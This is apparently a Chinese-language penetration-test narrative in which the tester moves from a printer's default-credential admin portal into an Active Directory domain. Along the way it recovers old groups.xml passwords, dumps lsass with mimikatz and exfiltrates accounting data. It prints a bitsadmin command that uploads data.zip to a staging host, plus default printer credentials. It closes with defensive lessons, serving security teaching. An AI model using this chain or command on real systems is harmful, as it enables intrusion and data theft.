一次神秘的測試——通過打印機找到父域控制器
最近,我參與了一個安全測試項目,在這個項目中,測試方要求我們在不觸發(fā)他們的SOC(Security Operations Center)的情況下,竊取企業(yè)的內(nèi)部數(shù)據(jù)。在測試期間,我被要求只允許進入一間會議室。至于如何進行入侵測試,這就是我的事情了,不過一切的測試都被限制在這間會議室,這意味著我只能通過這個會議室里的電腦或其他設(shè)備來攻擊了。
注:本次攻擊測試進行了4天,所有IP地址和系統(tǒng)名稱均經(jīng)過修改,不反映真實的客戶端地址和系統(tǒng)名稱。測試期間,我在會議室安裝了思科VOIP系統(tǒng)即網(wǎng)絡(luò)電話,以允許我使用網(wǎng)線。
第1天的攻擊測試情況
早上8:30我就開始了測試,主要目的是在不被企業(yè)的網(wǎng)絡(luò)安全中心發(fā)現(xiàn)的情況下,竊取一些關(guān)鍵數(shù)據(jù)。當我將系統(tǒng)連接到網(wǎng)絡(luò)時,我很快就得到了一個IP,不過這可能意味著沒有任何NAC。所以我接下來要做的第一件事是開始使用nslookup(Nslookup是由微軟發(fā)布用于對DNS服務(wù)器進行檢測和排錯的命令行工具)檢查網(wǎng)絡(luò)中的域名服務(wù)器。
在大多數(shù)情況下,DNS往往會提供關(guān)于服務(wù)器和系統(tǒng)的命名約定的大量信息。然而,在我的測試環(huán)境中,除了知道攻擊對象的P地址為172.10.1.0,其余什么信息也沒有。我甚至嘗試使用PowerShell Active Directory模塊來查找DC和DNS服務(wù)器,但是也無任何發(fā)現(xiàn)。這個結(jié)果非常令人非常震驚,因為按著我的經(jīng)驗,經(jīng)過這一系列查找,總會有一個DNS服務(wù)器出現(xiàn)。因此我推斷,測試對象進行了NAC設(shè)置,我很可能陷入了沙盒防護中。
注:思科網(wǎng)絡(luò)準入控制 (NAC) 是一項由思科發(fā)起、多家廠商參加的計劃,其宗旨是防止病毒和蠕蟲等新興黑客技術(shù)對企業(yè)安全造成危害。借助NAC,客戶可以只允許合法的、值得信任的端點設(shè)備(例如PC、服務(wù)器、PDA)接入網(wǎng)絡(luò),而不允許其它設(shè)備接入。
以上就是我在中午12點之前進行的攻擊測試,毫無收獲,此時我仍然不知道攻擊目標的網(wǎng)絡(luò)環(huán)境是什么。我甚至不能ping(利用“ping”命令可以檢查網(wǎng)絡(luò)是否連通,可以很好地幫助我們分析和判定網(wǎng)絡(luò)故障)任何系統(tǒng),因為ICMP在防火墻就被阻止了。
icmp和ping的區(qū)別:
ping程序是用來探測主機到主機之間是否可通信,如果不能ping到某臺主機,表明不能和這臺主機建立連接。ping使用的是ICMP協(xié)議,它發(fā)送icmp回送請求消息給目的主機。ICMP協(xié)議規(guī)定:目的主機必須返回ICMP回送應(yīng)答消息給源主機。如果源主機在一定時間內(nèi)收到應(yīng)答,則認為主機可達。
ICMP協(xié)議通過IP協(xié)議發(fā)送的,IP協(xié)議是一種無連接的,不可靠的數(shù)據(jù)包協(xié)議。在Unix/Linux,序列號從0開始計數(shù),依次遞增。而Windows ping程序的ICMP序列號是沒有規(guī)律。
對這個攻擊結(jié)果,我感到很沮喪,于是我從Impacket存儲庫中啟動了Responder和NTLM中繼,并自定義了有效載荷,藉此希望這可能會給我?guī)硪恍┕粜畔?。但令人驚訝的是,我沒有得到任何線索。我的耐心在第一天測試結(jié)束時就這樣被耗盡了,于是我開始通過在筆記本電腦上啟動Network Discovery來搜索SMB共享。
第2天的攻擊測試情況
由于第一天的測試情況很糟糕,我晚上回家做了充分的準備,以為第二天的測試做好準備。由于我還沒有實現(xiàn)對目標網(wǎng)絡(luò)的基本識別,于是我決定采用在極端隱身模式下使用Nmap的老方法。nmap是一個網(wǎng)絡(luò)連接端掃描軟件,用來掃描網(wǎng)上電腦開放的網(wǎng)絡(luò)連接端。確定哪些服務(wù)運行在哪些連接端,并且推斷計算機運行哪個操作系統(tǒng)。雖然利用這個極端方法可能會花一兩天時間,可我也不擔心。我從172.10.1.0-172.10.4.0的網(wǎng)絡(luò)范圍內(nèi)的隨機IP上開始對端口445進行單獨掃描,到下午12點30分,掃描完成,我在該網(wǎng)絡(luò)中只發(fā)現(xiàn)了3個系統(tǒng)(全部是unix)。
說實話,這個結(jié)果很令人吃驚。在對一些選定的公共端口執(zhí)行緩慢的服務(wù)掃描后,我意識到端口8443和8666處于非常活躍的狀態(tài)。通過檢查,我發(fā)現(xiàn)這些是Xerox C60-C70設(shè)備(一種打印機和復(fù)印機的混合辦公設(shè)備)。但在訪問這些端口時,我發(fā)現(xiàn)它們卻用的是web服務(wù)器,并提供了一個要登錄門戶。利用我在OSCP(滲透測試認證)中學到的知識,我在網(wǎng)上上搜索EFI Fiery Server的默認密碼,發(fā)現(xiàn)默認憑證是admin: fier. 1。非常幸運的是,該憑證可用,我獲得了一個具有管理權(quán)限的Web門戶。
我發(fā)現(xiàn)這些都是基于PHP的,門戶(3.0版)已經(jīng)過時了,這意味著這個門戶易受LFI(Local File Include,本地文件包含)攻擊,但目前我還無法在該門戶執(zhí)行任何文件。通過進一步列舉,我發(fā)現(xiàn)可以通過門戶本身啟用FTP、電子郵件和SSH服務(wù)器。另外我還通過我的個人FTP啟用了所有打印機掃描的備份,由于打印機在默認情況下沒有任何安全配置,這意味著如果有人掃描任何機密文件,都會被我獲取其中的內(nèi)容。
我嘗試了PRET (一個打印機開發(fā)工具包),以期望有進一步的利用,但沒有發(fā)現(xiàn)任何東西。于是我試著插上打印機,進入ssh,卻發(fā)現(xiàn)它有兩個不同的網(wǎng)絡(luò)接口。這意味著有兩種不同的網(wǎng)絡(luò),其中一個是隱藏在我的網(wǎng)絡(luò)中,只能通過打印機訪問。根據(jù)我的經(jīng)驗,我快速設(shè)置了portforward(portforward指的是包轉(zhuǎn)發(fā)機制,其本質(zhì)是防火墻的配置策略)并配置了proxychains,以找到DC和DNS服務(wù)器,從而啟動響應(yīng)程序并等待一些系統(tǒng)出現(xiàn)。
果不其然我得到了大量的NetNTLMv2哈希,但由于我在此環(huán)境中不能使用crackmapexec(CrackMapExec,簡稱CME,是一款后滲透利用工具,可幫助自動化大型活動目錄(AD)網(wǎng)絡(luò)安全評估任務(wù))執(zhí)行任何操作,因為SMB簽名在所有系統(tǒng)上都是啟用的。同時,我也開始使用GTX1050ti顯卡和Hashcat(一個HASH暴力破解工具)在我的系統(tǒng)上破解Net-NTLMv2哈希,但是什么也沒有找到。此時,我的密碼列表已經(jīng)用完了。然后我開始再次搜索SMB共享,因為我現(xiàn)在已經(jīng)知道DC,并且找到了SYSVOL (LOGONSERVER)目錄。
根據(jù)過往的步驟,現(xiàn)在我要做的第一件事是導(dǎo)航到SYSVOL目錄并開始搜索groups.xml文件。果不其然,我找到了兩個文件,一個不包含任何密碼(目前已經(jīng)修改)和另一個舊的groups.xml。它最后是在2011年創(chuàng)建和修改的,并保存在不同的文件夾中,所有其他未使用的舊腳本都保存在這些文件夾中。我曾試著使用gp3finder.exe解密舊groups.xml的密碼,并嘗試使用本地管理員的groups.xml密碼登錄到遠程系統(tǒng),但都無法做到。不過我相信,我一定可以從舊的groups.xml文件中得到點什么。
這時,我又返回到運行responder和ntlmrelay的Linux設(shè)備上,卻發(fā)現(xiàn)我已經(jīng)使用了專門繞過賽門鐵克而設(shè)計的自定義載荷訪問了其中一個系統(tǒng)。
既然繞過了安全防護,現(xiàn)在我要做的就是開始搜索目標用戶,并確認是否能夠升級我的權(quán)限。此時,我發(fā)現(xiàn)了一個運行空格而沒有雙引號的Foxit服務(wù)(PDF文檔核心技術(shù)與應(yīng)用服務(wù))??梢岳盟鼇碜鲆恍┪恼?,因為我發(fā)現(xiàn)的目標用戶也可以在C盤中進行編寫。但后來我發(fā)現(xiàn)這個判斷是錯誤的,因為我發(fā)現(xiàn)的目標用戶只有權(quán)在C盤中創(chuàng)建文件夾而不能復(fù)制或?qū)懭胛募,F(xiàn)在我要做的下一件事就是檢查我的用戶還有哪些其他權(quán)限,但不幸的是,我的用戶不在RDP 協(xié)議組件中。
這么一番操作下來,已經(jīng)是下午3點了,于是我果斷地放棄了Bloodhound,并開始想辦法迅速升級我的權(quán)限。以下是我發(fā)現(xiàn)的一個有趣的用戶:
該用戶是域管理員組中的一個MSSQL服務(wù)帳戶,其密碼一年多來沒有更改過。根據(jù)我的經(jīng)驗,管理員通常不會更改服務(wù)帳戶的憑證。他們的通常習慣是,如果密碼不被攻擊就不修改。因此,我只嘗試了舊的組。因此,我嘗試使用舊的groups.xml密碼登錄系統(tǒng),幸運的是,這個用戶啟用了交互式登錄。我得以在我的筆記本電腦登錄到這個系統(tǒng),進去該系統(tǒng)后,我現(xiàn)在就可以以域管理員的身份進行操作了,但在使用2012 Server的MSSQL DB System中,我可以在沒有任何UAC的情況下啟動CMD。
我不想使用服務(wù)帳戶登錄DC / AD,因為此時我還不想挑戰(zhàn)SOC,以防出現(xiàn)任何意外。所以,我快速啟動任務(wù)管理器,轉(zhuǎn)儲lsass.exe內(nèi)存并通過RDP將其下載到我的系統(tǒng)。在lsass.exe轉(zhuǎn)儲中,我使用mimikatz離線提取密碼哈希,并找到一個有趣的用戶憑證—— Level3-INFRA-PUM(出于安全原因,名稱已更改)。這個發(fā)現(xiàn)對以后的攻擊異常重要,因為我可以在該域上對該用戶執(zhí)行LDAP查詢,查詢后,我發(fā)現(xiàn)這是Privilege User Management的一個Level 3 基礎(chǔ)設(shè)施管理員帳戶。在該用戶帳戶的說明中就提到了與此用戶關(guān)聯(lián)的計算機主機名,我使用域憑證登錄到PUM的Web門戶,發(fā)現(xiàn)門戶管理并沒有啟用多因素身份驗證。為此,我還對此進行了一些額外的研究,結(jié)果發(fā)現(xiàn)測試公司的安全中心進行了LAPS設(shè)置。
所以為了進行遠程系統(tǒng)登錄,我不得不從PUM獲取密碼,然后才能登錄到本地管理系統(tǒng)。這就是我無法使用GP3密碼以本地管理員身份登錄的原因,因為他們已經(jīng)停止使用groups.xml進行密碼管理。我通過PUM訪問了域管理員的密碼并訪問了域控制器,但發(fā)現(xiàn)這只是一個子域控制器。在兩個不同國家或地區(qū)的另外兩個域控制器與此系統(tǒng)相連,通過查詢域控制器,我發(fā)現(xiàn)信任是雙向的。于是我試圖登錄到子域控制器,但由于某種原因無法登錄。以上就是第2天的收獲,我至少對系統(tǒng)中的一個域控制器進行了攻擊。
第3天的攻擊測試情況
按著第二天的計劃,我原以為今天就應(yīng)該成功竊取測試公司的核心數(shù)據(jù),但在檢查組策略時,我意識到安全中心的人員已經(jīng)禁用了除“IT支持”和“域管理員”組之外的所有用戶的RDP。所以目前遠程通信的唯一方式是Team Viewer(TeamViewer是一個能在任何防火墻和NAT代理的后臺用于遠程控制的應(yīng)用程序,桌面共享和文件傳輸?shù)暮唵吻铱焖俚慕鉀Q方案),我顯然不會很快接觸到它。為此我在DC上使用了來自Sysinternals的Sharenum來檢查所有可能連接的共享驅(qū)動器,并在目錄中找到了大量的SMB共享。其中就有很多敏感信息,包括會計部門的銀行憑證,于是我決定要獲取這些數(shù)據(jù)了。我使用BITSadmin將所有副本下載到打印機,具體命令如下:
bitsadmin.exe /transfer upjob /upload /priority normal http://192.168.x.x/data.zip D:\temp\data.zip
然后通過WinSCP將其下載到我的系統(tǒng)。
如果我能夠理解組織的AD結(jié)構(gòu)的內(nèi)部工作原理,那就更好了,因為我想使用ADExplorer (Sysinternals的另一個工具) 創(chuàng)建了一個計劃任務(wù),以便我下班之前,讓整個Active Directory處于持續(xù)活動狀態(tài),以創(chuàng)建整個活動目錄的快照。
第4天的攻擊測試情況
通過查看AD快照,我很高興看到在隱藏的共享驅(qū)動器中創(chuàng)建了一個400MB的文件,我后來將其下載到我的系統(tǒng)中。至此,我就可以訪問所有組策略以及整個域中的所有對象,如果我需要一些數(shù)據(jù),我完全可以離線查詢這些對象。不過,我還是決定更深入地檢查LAPS密碼,以為帳戶描述中提到的不同域名的域用戶找到對應(yīng)的密碼。通過調(diào)查,我發(fā)現(xiàn)這個用戶沒有在整個組織的任何地方登錄過。通過檢查BloodHound導(dǎo)出的相關(guān)信息,我可以再次確認,這個用戶從未在任何地方登錄過。這就很有趣了,因為所有其他域控制器管理員都至少在一處或多處登錄過。然后我嘗試使用這個域控制器管理員的creds登錄到其他父域,以便我訪問它的父域控制器。
于是我向公司的安全中心提出請求,能否檢查這些父域控制器,得到的回答是:“這些域控制器超出了檢測范圍,檢測可以結(jié)束了。”
總結(jié)
1.永遠不要忽視你在評估中發(fā)現(xiàn)的哪怕是最細微的信息,在你不知道這些信息有多大的作用時,請保持對它們的關(guān)注。
2.經(jīng)常給打印機使用的軟件進行升級,并確保它們的安全。因為它們是整個網(wǎng)絡(luò)的一部分,與網(wǎng)絡(luò)中的任何其他設(shè)備一樣重要。
3.切勿將服務(wù)帳戶添加到域管理員組中;
4.為殺毒軟件設(shè)置應(yīng)用白名單;
5.切勿將舊密碼配置文件存儲在域中的任何位置,對于攻擊者來說,只需搜索creds 并升級它們的權(quán)限,就可以得到這些內(nèi)容;
6.切記,所有的設(shè)備在使用后,請將默認密碼進行更改。